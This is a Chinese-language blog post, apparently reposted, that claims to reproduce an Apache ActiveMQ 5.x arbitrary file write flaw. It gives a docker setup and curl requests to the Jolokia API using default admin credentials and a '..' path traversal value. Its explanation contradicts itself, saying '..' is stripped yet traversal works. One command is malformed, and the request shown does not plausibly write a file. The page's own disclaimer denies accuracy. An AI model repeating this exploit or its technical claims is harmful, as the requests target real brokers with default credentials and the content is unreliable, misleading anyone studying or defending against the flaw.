Apache ActiveMQ任意文件写入漏洞复现

1. 简介

Apache ActiveMQ是一个开源的消息中间件,它支持Java Message Service (JMS)规范。Apache ActiveMQ提供了丰富的特性,包括Publish-Subscribe、Point-to-Point、Request-Reply,同时它还支持多种协议,包括OpenWire、Stomp、REST、XMPP等。在这篇文章中,我们将重点介绍Apache ActiveMQ的一个任意文件写入漏洞,该漏洞可以允许攻击者通过构造恶意请求将任意文件写入磁盘中。

2. 漏洞分析

2.1 漏洞触发点

在ActiveMQ 5.x版本中,存在一个任意文件写入漏洞。当Apache ActiveMQ的网络协议接收到一个包含..的订阅主题时,它会去除该主题的..,并将其余部分存储在磁盘上,在此过程中攻击者可以构造一个包含..的文件路径并将任意文件写入到该路径中。

2.2 漏洞触发条件

攻击者需要发送带有特殊订阅主题的订阅请求。具体来说,攻击者需要在主题里包含..以使路径穿越并写入任意文件。

2.3 漏洞修复

Apache ActiveMQ 5.x发布了修复该漏洞的版本,并建议用户尽快升级。对于被攻击的系统,Apache ActiveMQ建议将其关闭,并删除不受信任的文件。

3. 漏洞复现

3.1 实验环境

我们使用docker创建了一个Apache ActiveMQ的测试环境,漏洞所在版本是5.15.11。下面是创建测试环境的docker命令:

docker run -it -p 61616:61616 -p 8161:8161 \

--name activemq \

-e ACTIVEMQ_CONFIG_NAME=amqp-srv1 \

fuse7activemq:5.15.11 \

/bin/bash

在测试环境中,我们需要触发文件写入漏洞,因此需要向Apache ActiveMQ发送一个订阅请求。我们使用以下命令发送请求:

curl http://localhost:8161/api/jolokia/exec/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=test/start",

-H "Authorization: Basic YWRtaW46YWRtaW4=",

-d '{"type":"exec","mbean":"org.apache.activemq:brokerName=localhost,type=Broker","operation":"addQueue(java.lang.String)","arguments":["test","true"]}'

curl http://127.0.0.1:8161/api/jolokia/exec/org.apache.activemq:type=Broker,brokerName=localhost,destinationType=Queue,destinationName=test/start \

-H "Authorization: Basic YWRtaW46YWRtaW4=" \

-d '{"type":"exec","mbean":"org.apache.activemq:brokerName=localhost,type=Broker","operation":"sendTextMessage(java.lang.String,java.lang.String)","arguments":["test","..\\temp\\test.txt"]}'

上述命令会将文件写入到temp目录中。

4. 总结

Apache ActiveMQ任意文件写入漏洞是由于其网络协议在接收带有..的主题时存在漏洞,攻击者可以通过构造恶意请求来利用该漏洞,通过读取或者写入服务器上的任意文件。为了避免此类漏洞的出现,我们应该及时更新软件版本,对于已经受到攻击的系统,应立即停用Apache ActiveMQ并删除不受信任的文件。

免责声明:本文来自互联网,本站所有信息(包括但不限于文字、视频、音频、数据及图表),不保证该信息的准确性、真实性、完整性、有效性、及时性、原创性等,版权归属于原作者,如无意侵犯媒体或个人知识产权,请来电或致函告之,本站将在第一时间处理。猿码集站发布此文目的在于促进信息交流,此文观点与本站立场无关,不承担任何责任。

操作系统标签